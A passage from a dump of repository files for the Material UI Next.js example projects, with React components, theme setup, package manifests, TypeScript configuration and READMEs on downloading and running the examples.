    "content": "import * as React from 'react';\nimport Link from '@mui/material/Link';\nimport SvgIcon from '@mui/material/SvgIcon';\nimport Typography from '@mui/material/Typography';\n\nfunction LightBulbIcon(props) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function ProTip() {\n  return (\n    <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n      <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n      {'Pro tip: See more '}\n      <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n      {' in the Material UI documentation.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs/src/theme.js",
    "content": "'use client';\nimport { Roboto } from 'next/font/google';\nimport { createTheme } from '@mui/material/styles';\n\nconst roboto = Roboto({\n  weight: ['300', '400', '500', '700'],\n  subsets: ['latin'],\n  display: 'swap',\n});\n\nconst theme = createTheme({\n  cssVariables: true,\n  palette: {\n    mode: 'light',\n  },\n  typography: {\n    fontFamily: roboto.style.fontFamily,\n  },\n  components: {\n    MuiAlert: {\n      styleOverrides: {\n        root: {\n          variants: [\n            {\n              props: { severity: 'info' },\n              style: {\n                backgroundColor: '#60a5fa',\n              },\n            }\n          ],\n        },\n      },\n    },\n  },\n});\n\nexport default theme;\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router/.gitignore",
    "content": "# See https://help.github.com/ignore-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n\n# misc\n.DS_Store\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n\n# Next.js\n/.next\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router/README.md",
    "content": "# Material UI - Next.js Pages Router example\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2  material-ui-master/examples/material-ui-nextjs-pages-router\ncd material-ui-nextjs-pages-router\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run dev\n```\n\nor:\n\n<!-- #target-branch-reference -->\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-nextjs-pages-router)\n\n[![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/github/mui/material-ui/tree/master/examples/material-ui-nextjs-pages-router)\n\n## The idea behind the example\n\n**Note:** This example is set up to use the Next.js Pages Router.\nAs of Next.js 13.4, the newer App Router pattern is stable.\nWe recommend starting new projects with the [Material UI with Next.js (App Router) example](https://github.com/mui/material-ui/tree/master/examples/material-ui-nextjs) unless you need (or prefer) the Pages Router.\n\n<!-- #host-reference -->\n\nThe project uses [Next.js](https://github.com/vercel/next.js), which is a framework for server-rendered React apps.\nIt includes `@mui/material` and its peer dependencies, including [Emotion](https://emotion.sh/docs/introduction), the default style engine in Material UI.\nIf you prefer, you can [use styled-components instead](https://next.mui.com/material-ui/integrations/interoperability/#styled-components).\n\n## The Link component\n\n<!-- #target-branch-reference -->\n<!-- #host-reference -->\n\nThe [example folder](https://github.com/mui/material-ui/tree/HEAD/examples/material-ui-nextjs-pages-router) provides an adapter for the use of [Next.js's Link component](https://nextjs.org/docs/pages/api-reference/components/link) with Material UI.\nMore information [in the documentation](https://next.mui.com/material-ui/integrations/routing/#next-js-pages-router).\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router/next.config.mjs",
    "content": "export default {\n  reactStrictMode: true,\n};\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router/package.json",
    "content": "{\n  \"name\": \"material-ui-nextjs-pages-router\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"dev\": \"next dev\",\n    \"build\": \"next build\",\n    \"start\": \"next start\",\n    \"post-update\": \"echo \\\"codesandbox preview only, need an update\\\" && pnpm update --latest\"\n  },\n  \"dependencies\": {\n    \"@emotion/cache\": \"latest\",\n    \"@emotion/react\": \"latest\",\n    \"@emotion/server\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"@mui/icons-material\": \"next\",\n    \"@mui/material\": \"next\",\n    \"@mui/material-nextjs\": \"next\",\n    \"clsx\": \"latest\",\n    \"next\": \"^16.0.7\",\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\"\n  },\n  \"devDependencies\": {\n    \"eslint\": \"latest\",\n    \"eslint-config-next\": \"latest\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router/pages/_app.js",
    "content": "import * as React from 'react';\nimport Head from 'next/head';\nimport { AppCacheProvider } from '@mui/material-nextjs/v16-pagesRouter';\nimport { ThemeProvider } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport theme from '../src/theme';\n\nexport default function MyApp(props) {\n  const { Component, pageProps } = props;\n\n  return (\n    <AppCacheProvider {...props}>\n      <Head>\n        <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n      </Head>\n      <ThemeProvider theme={theme}>\n        {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n        <CssBaseline />\n        <Component {...pageProps} />\n      </ThemeProvider>\n    </AppCacheProvider>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router/pages/_document.js",
    "content": "import * as React from 'react';\nimport { Html, Head, Main, NextScript } from 'next/document';\nimport { DocumentHeadTags, documentGetInitialProps } from '@mui/material-nextjs/v16-pagesRouter';\nimport theme from '../src/theme';\n\nexport default function MyDocument(props) {\n  return (\n    <Html lang=\"en\">\n      <Head>\n        {/* PWA primary color */}\n        <meta name=\"theme-color\" content={theme.palette.primary.main} />\n        <link rel=\"icon\" href=\"/favicon.ico\" />\n        <meta name=\"emotion-insertion-point\" content=\"\" />\n        <DocumentHeadTags {...props} />\n      </Head>\n      <body>\n        <Main />\n        <NextScript />\n      </body>\n    </Html>\n  );\n}\n\nMyDocument.getInitialProps = async (ctx) => {\n  const finalProps = await documentGetInitialProps(ctx);\n  return finalProps;\n};\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router/pages/about.js",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport ProTip from '../src/ProTip';\nimport { Link } from '../src/Link';\nimport Copyright from '../src/Copyright';\n\nexport default function About() {\n  return (\n    <Container maxWidth=\"sm\">\n      <Box sx={{ my: 4 }}>\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI - Next.js example in JavaScript\n        </Typography>\n        <Button variant=\"contained\" component={Link} noLinkStyle href=\"/\">\n          Go to the main page\n        </Button>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router/pages/index.js",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport ProTip from '../src/ProTip';\nimport { Link } from '../src/Link';\nimport Copyright from '../src/Copyright';\n\nexport default function Index() {\n  return (\n    <Container maxWidth=\"sm\">\n      <Box sx={{ my: 4 }}>\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI - Next.js example in JavaScript\n        </Typography>\n        <Link href=\"/about\" color=\"secondary\">\n          Go to the about page\n        </Link>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router/src/Copyright.js",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport MuiLink from '@mui/material/Link';\n\nexport default function Copyright() {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      sx={{\n        color: 'text.secondary',\n      }}\n    >\n      {'Copyright © '}\n      <MuiLink color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </MuiLink>{' '}\n      {new Date().getFullYear()}.\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router/src/Link.js",
    "content": "import * as React from 'react';\nimport clsx from 'clsx';\nimport { useRouter } from 'next/router';\nimport NextLink from 'next/link';\nimport MuiLink from '@mui/material/Link';\n\nexport const NextLinkComposed = React.forwardRef(function NextLinkComposed(props, ref) {\n  const { to, linkAs, ...other } = props;\n\n  return <NextLink href={to} as={linkAs} ref={ref} {...other} />;\n});\n\n// A styled version of the Next.js Link component:\n// https://nextjs.org/docs/pages/api-reference/components/link\nexport const Link = React.forwardRef(function Link(props, ref) {\n  const {\n    activeClassName = 'active',\n    as,\n    className: classNameProps,\n    href,\n    linkAs: linkAsProp,\n    noLinkStyle,\n    ...other\n  } = props;\n\n  const router = useRouter();\n  const pathname = typeof href === 'string' ? href : href?.pathname;\n\n  const className = clsx(classNameProps, {\n    [activeClassName]: router.pathname === pathname && activeClassName,\n  });\n\n  const linkAs = linkAsProp || as || href;\n  const nextjsProps = {\n    to: href,\n    linkAs,\n  };\n\n  if (noLinkStyle) {\n    return <NextLinkComposed className={className} ref={ref} {...nextjsProps} {...other} />;\n  }\n\n  return (\n    <MuiLink\n      component={NextLinkComposed}\n      className={className}\n      ref={ref}\n      {...nextjsProps}\n      {...other}\n    />\n  );\n});\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router/src/ProTip.js",
    "content": "import * as React from 'react';\nimport Link from '@mui/material/Link';\nimport SvgIcon from '@mui/material/SvgIcon';\nimport Typography from '@mui/material/Typography';\n\nfunction LightBulbIcon(props) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function ProTip() {\n  return (\n    <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n      <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n      {'Pro tip: See more '}\n      <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n      {' in the Material UI documentation.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router/src/theme.js",
    "content": "import { Roboto } from 'next/font/google';\nimport { createTheme } from '@mui/material/styles';\nimport { red } from '@mui/material/colors';\n\nconst roboto = Roboto({\n  weight: ['300', '400', '500', '700'],\n  subsets: ['latin'],\n  display: 'swap',\n});\n\n// Create a theme instance.\nconst theme = createTheme({\n  cssVariables: true,\n  palette: {\n    primary: {\n      main: '#556cd6',\n    },\n    secondary: {\n      main: '#19857b',\n    },\n    error: {\n      main: red.A400,\n    },\n  },\n  typography: {\n    fontFamily: roboto.style.fontFamily,\n  },\n});\n\nexport default theme;\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router-ts/.gitignore",
    "content": "# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n/.pnp\n.pnp.js\n\n# testing\n/coverage\n\n# next.js\n/.next/\n/out/\n\n# production\n/build\n\n# misc\n.DS_Store\n*.pem\n\n# debug\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n\n# local env files\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\n# vercel\n.vercel\n\n# typescript\n*.tsbuildinfo\nnext-env.d.ts\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router-ts/README.md",
    "content": "# Material UI - Next.js Pages Router example in TypeScript\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2  material-ui-master/examples/material-ui-nextjs-pages-router-ts\ncd material-ui-nextjs-pages-router-ts\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run dev\n```\n\nor:\n\n<!-- #target-branch-reference -->\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-nextjs-pages-router-ts)\n\n[![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/github/mui/material-ui/tree/master/examples/material-ui-nextjs-pages-router-ts)\n\n## The idea behind the example\n\n**Note:** This example is set up to use the Next.js Pages Router.\nAs of Next.js 13.4, the newer App Router pattern is stable.\nWe recommend starting new projects with the [Material UI with Next.js (App Router) example](https://github.com/mui/material-ui/tree/master/examples/material-ui-nextjs-ts) unless you need (or prefer) the Pages Router.\n\n<!-- #host-reference -->\n\nThe project uses [Next.js](https://github.com/vercel/next.js), which is a framework for server-rendered React apps.\nIt includes `@mui/material` and its peer dependencies, including [Emotion](https://emotion.sh/docs/introduction), the default style engine in Material UI.\nIf you prefer, you can [use styled-components instead](https://next.mui.com/material-ui/integrations/interoperability/#styled-components).\n\n## The link component\n\n<!-- #target-branch-reference -->\n<!-- #host-reference -->\n\nThe [example folder](https://github.com/mui/material-ui/tree/HEAD/examples/material-ui-nextjs-pages-router-ts) provides an adapter for the use of [Next.js's Link component](https://nextjs.org/docs/pages/api-reference/components/link) with Material UI.\nMore information [in the documentation](https://next.mui.com/material-ui/integrations/routing/#next-js-pages-router).\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router-ts/next.config.mjs",
    "content": "/** @type {import('next').NextConfig} */\nexport default {\n  reactStrictMode: true,\n};\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router-ts/package.json",
    "content": "{\n  \"name\": \"material-ui-nextjs-pages-router-ts\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"dev\": \"next dev\",\n    \"build\": \"next build\",\n    \"start\": \"next start\",\n    \"post-update\": \"echo \\\"codesandbox preview only, need an update\\\" && pnpm update --latest\"\n  },\n  \"dependencies\": {\n    \"@emotion/cache\": \"latest\",\n    \"@emotion/react\": \"latest\",\n    \"@emotion/server\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"@mui/icons-material\": \"next\",\n    \"@mui/material\": \"next\",\n    \"@mui/material-nextjs\": \"next\",\n    \"clsx\": \"latest\",\n    \"next\": \"^16.0.7\",\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"latest\",\n    \"@types/react\": \"latest\",\n    \"eslint\": \"latest\",\n    \"eslint-config-next\": \"latest\",\n    \"typescript\": \"latest\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router-ts/pages/_app.tsx",
    "content": "import * as React from 'react';\nimport Head from 'next/head';\nimport { AppProps } from 'next/app';\nimport { AppCacheProvider } from '@mui/material-nextjs/v16-pagesRouter';\nimport { ThemeProvider } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport theme from '../src/theme';\n\nexport default function MyApp(props: AppProps) {\n  const { Component, pageProps } = props;\n  return (\n    <AppCacheProvider {...props}>\n      <Head>\n        <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n      </Head>\n      <ThemeProvider theme={theme}>\n        {/* CssBaseline kickstart an elegant, consistent, and simple baseline to build upon. */}\n        <CssBaseline />\n        <Component {...pageProps} />\n      </ThemeProvider>\n    </AppCacheProvider>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router-ts/pages/_document.tsx",
    "content": "import * as React from 'react';\nimport { Html, Head, Main, NextScript, DocumentProps, DocumentContext } from 'next/document';\nimport {\n  DocumentHeadTags,\n  DocumentHeadTagsProps,\n  documentGetInitialProps,\n} from '@mui/material-nextjs/v16-pagesRouter';\nimport theme, { roboto } from '../src/theme';\n\nexport default function MyDocument(props: DocumentProps & DocumentHeadTagsProps) {\n  return (\n    <Html lang=\"en\" className={roboto.className}>\n      <Head>\n        {/* PWA primary color */}\n        <meta name=\"theme-color\" content={theme.palette.primary.main} />\n        <link rel=\"icon\" href=\"/favicon.ico\" />\n        <meta name=\"emotion-insertion-point\" content=\"\" />\n        <DocumentHeadTags {...props} />\n      </Head>\n      <body>\n        <Main />\n        <NextScript />\n      </body>\n    </Html>\n  );\n}\n\nMyDocument.getInitialProps = async (ctx: DocumentContext) => {\n  const finalProps = await documentGetInitialProps(ctx);\n  return finalProps;\n};\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router-ts/pages/about.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport { Link } from '../src/Link';\nimport ProTip from '../src/ProTip';\nimport Copyright from '../src/Copyright';\n\nexport default function About() {\n  return (\n    <Container maxWidth=\"lg\">\n      <Box\n        sx={{\n          my: 4,\n          display: 'flex',\n          flexDirection: 'column',\n          justifyContent: 'center',\n          alignItems: 'center',\n        }}\n      >\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI - Next.js example in TypeScript\n        </Typography>\n        <Box sx={{ maxWidth: 'sm' }}>\n          <Button variant=\"contained\" component={Link} noLinkStyle href=\"/\">\n            Go to the home page\n          </Button>\n        </Box>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router-ts/pages/index.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport { Link } from '../src/Link';\nimport ProTip from '../src/ProTip';\nimport Copyright from '../src/Copyright';\n\nexport default function Home() {\n  return (\n    <Container maxWidth=\"lg\">\n      <Box\n        sx={{\n          my: 4,\n          display: 'flex',\n          flexDirection: 'column',\n          justifyContent: 'center',\n          alignItems: 'center',\n        }}\n      >\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI - Next.js example in TypeScript\n        </Typography>\n        <Link href=\"/about\" color=\"secondary\">\n          Go to the about page\n        </Link>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router-ts/src/Copyright.tsx",
    "content": "import * as React from 'react';\nimport Typography from '@mui/material/Typography';\nimport MuiLink from '@mui/material/Link';\n\nexport default function Copyright() {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      sx={{\n        color: 'text.secondary',\n      }}\n    >\n      {'Copyright © '}\n      <MuiLink color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </MuiLink>{' '}\n      {new Date().getFullYear()}.\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router-ts/src/Link.tsx",
    "content": "import * as React from 'react';\nimport clsx from 'clsx';\nimport { useRouter } from 'next/router';\nimport NextLink, { LinkProps as NextLinkProps } from 'next/link';\nimport MuiLink, { LinkProps as MuiLinkProps } from '@mui/material/Link';\n\ninterface NextLinkComposedProps\n  extends\n    Omit<React.AnchorHTMLAttributes<HTMLAnchorElement>, 'href'>,\n    Omit<NextLinkProps, 'href' | 'as' | 'passHref' | 'onMouseEnter' | 'onClick' | 'onTouchStart'> {\n  to: NextLinkProps['href'];\n  linkAs?: NextLinkProps['as'];\n}\n\nexport const NextLinkComposed = React.forwardRef<HTMLAnchorElement, NextLinkComposedProps>(\n  function NextLinkComposed(props, ref) {\n    const { to, linkAs, ...other } = props;\n\n    return <NextLink href={to} as={linkAs} ref={ref} {...other} />;\n  },\n);\n\nexport type LinkProps = {\n  activeClassName?: string;\n  as?: NextLinkProps['as'];\n  href: NextLinkProps['href'];\n  linkAs?: NextLinkProps['as']; // Useful when the as prop is shallow by styled().\n  noLinkStyle?: boolean;\n} & Omit<NextLinkComposedProps, 'to' | 'linkAs' | 'href'> &\n  Omit<MuiLinkProps, 'href'>;\n\n// A styled version of the Next.js Link component:\n// https://nextjs.org/docs/pages/api-reference/components/link\nexport const Link = React.forwardRef<HTMLAnchorElement, LinkProps>(function Link(props, ref) {\n  const {\n    activeClassName = 'active',\n    as,\n    className: classNameProps,\n    href,\n    linkAs: linkAsProp,\n    noLinkStyle,\n    ...other\n  } = props;\n\n  const router = useRouter();\n  const pathname = typeof href === 'string' ? href : href?.pathname;\n\n  const className = clsx(classNameProps, {\n    [activeClassName]: router.pathname === pathname && activeClassName,\n  });\n\n  const linkAs = linkAsProp || as || (href as string);\n  const nextjsProps = {\n    to: href,\n    linkAs,\n  };\n\n  if (noLinkStyle) {\n    return <NextLinkComposed className={className} ref={ref} {...nextjsProps} {...other} />;\n  }\n\n  return (\n    <MuiLink\n      component={NextLinkComposed}\n      className={className}\n      ref={ref}\n      {...nextjsProps}\n      {...other}\n    />\n  );\n});\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router-ts/src/ProTip.tsx",
    "content": "import * as React from 'react';\nimport Link from '@mui/material/Link';\nimport SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';\nimport Typography from '@mui/material/Typography';\n\nfunction LightBulbIcon(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M9 21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1H9v1zm3-19C8.14 2 5 5.14 5 9c0 2.38 1.19 4.47 3 5.74V17c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2.26c1.81-1.27 3-3.36 3-5.74 0-3.86-3.14-7-7-7zm2.85 11.1l-.85.6V16h-4v-2.3l-.85-.6C7.8 12.16 7 10.63 7 9c0-2.76 2.24-5 5-5s5 2.24 5 5c0 1.63-.8 3.16-2.15 4.1z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function ProTip() {\n  return (\n    <Typography sx={{ mt: 6, mb: 3, color: 'text.secondary' }}>\n      <LightBulbIcon sx={{ mr: 1, verticalAlign: 'middle' }} />\n      {'Pro tip: See more '}\n      <Link href=\"https://mui.com/material-ui/getting-started/templates/\">templates</Link>\n      {' in the Material UI documentation.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router-ts/src/theme.ts",
    "content": "import { Roboto } from 'next/font/google';\nimport { createTheme } from '@mui/material/styles';\nimport { red } from '@mui/material/colors';\n\nexport const roboto = Roboto({\n  weight: ['300', '400', '500', '700'],\n  subsets: ['latin'],\n  display: 'swap',\n});\n\n// Create a theme instance.\nconst theme = createTheme({\n  cssVariables: true,\n  palette: {\n    primary: {\n      main: '#556cd6',\n    },\n    secondary: {\n      main: '#19857b',\n    },\n    error: {\n      main: red.A400,\n    },\n  },\n  typography: {\n    fontFamily: roboto.style.fontFamily,\n  },\n});\n\nexport default theme;\n"
  },
  {
    "path": "examples/material-ui-nextjs-pages-router-ts/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"target\": \"es5\",\n    \"lib\": [\"dom\", \"dom.iterable\", \"esnext\"],\n    \"allowJs\": true,\n    \"skipLibCheck\": true,\n    \"strict\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"noEmit\": true,\n    \"esModuleInterop\": true,\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"resolveJsonModule\": true,\n    \"isolatedModules\": true,\n    \"jsx\": \"react-jsx\",\n    \"jsxImportSource\": \"@emotion/react\",\n    \"incremental\": true\n  },\n  \"include\": [\"next-env.d.ts\", \"**/*.ts\", \"**/*.tsx\"],\n  \"exclude\": [\"node_modules\"]\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts/.gitignore",
    "content": "# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n/.pnp\n.pnp.js\n\n# testing\n/coverage\n\n# next.js\n/.next/\n/out/\n\n# production\n/build\n\n# misc\n.DS_Store\n*.pem\n\n# debug\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n.pnpm-debug.log*\n\n# local env files\n.env*.local\n\n# vercel\n.vercel\n\n# typescript\n*.tsbuildinfo\n# next-env.d.ts\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts/README.md",
    "content": "# Material UI - Next.js App Router example in TypeScript\n\nThis is a [Next.js](https://nextjs.org/) project bootstrapped using [`create-next-app`](https://github.com/vercel/next.js/tree/HEAD/packages/create-next-app) with Material UI installed.\n\n## How to use\n\nDownload the example [or clone the repo](https://github.com/mui/material-ui):\n\n<!-- #target-branch-reference -->\n\n```bash\ncurl https://codeload.github.com/mui/material-ui/tar.gz/master | tar -xz --strip=2  material-ui-master/examples/material-ui-nextjs-ts\ncd material-ui-nextjs-ts\n```\n\nInstall it and run:\n\n```bash\nnpm install\nnpm run dev\n```\n\nOpen [http://localhost:3000](http://localhost:3000) with your browser to see the result.\n\nor:\n\n<!-- #target-branch-reference -->\n\n[![Edit on StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/mui/material-ui/tree/master/examples/material-ui-nextjs-ts)\n\n[![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/p/sandbox/github/mui/material-ui/tree/master/examples/material-ui-nextjs-ts)\n\n## Learn more\n\nTo learn more about this example:\n\n<!-- #host-reference -->\n\n- [Next.js documentation](https://nextjs.org/docs) - learn about Next.js features and API.\n- [Customizing Material UI](https://next.mui.com/material-ui/customization/how-to-customize/) - approaches to customizing Material UI.\n\n## What's next?\n\n<!-- #host-reference -->\n\nYou now have a working example project.\nYou can head back to the documentation and continue by browsing the [templates](https://next.mui.com/material-ui/getting-started/templates/) section.\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts/next.config.mjs",
    "content": "/** @type {import('next').NextConfig} */\nconst nextConfig = {};\n\nexport default nextConfig;\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts/package.json",
    "content": "{\n  \"name\": \"material-ui-nextjs-ts\",\n  \"version\": \"7.0.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"dev\": \"next dev\",\n    \"build\": \"next build\",\n    \"start\": \"next start\",\n    \"post-update\": \"echo \\\"codesandbox preview only, need an update\\\" && pnpm update --latest\"\n  },\n  \"dependencies\": {\n    \"@emotion/cache\": \"latest\",\n    \"@emotion/react\": \"latest\",\n    \"@emotion/styled\": \"latest\",\n    \"@mui/icons-material\": \"next\",\n    \"@mui/material\": \"next\",\n    \"@mui/material-nextjs\": \"next\",\n    \"next\": \"^16.0.7\",\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"latest\",\n    \"@types/react\": \"latest\",\n    \"@types/react-dom\": \"latest\",\n    \"eslint\": \"latest\",\n    \"eslint-config-next\": \"latest\",\n    \"typescript\": \"latest\"\n  }\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts/public/.gitkeep",
    "content": ""
  },
  {
    "path": "examples/material-ui-nextjs-ts/src/app/about/page.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Link from '@/components/Link';\nimport ProTip from '@/components/ProTip';\nimport Copyright from '@/components/Copyright';\n\nexport default function About() {\n  return (\n    <Container maxWidth=\"lg\">\n      <Box\n        sx={{\n          my: 4,\n          display: 'flex',\n          flexDirection: 'column',\n          justifyContent: 'center',\n          alignItems: 'center',\n        }}\n      >\n        <Typography variant=\"h4\" component=\"h1\" sx={{ mb: 2 }}>\n          Material UI - Next.js example in TypeScript\n        </Typography>\n        <Box sx={{ maxWidth: 'sm' }}>\n          <Button variant=\"contained\" component={Link} href=\"/\">\n            Go to the home page\n          </Button>\n        </Box>\n        <ProTip />\n        <Copyright />\n      </Box>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "examples/material-ui-nextjs-ts/src/app/layout.tsx",
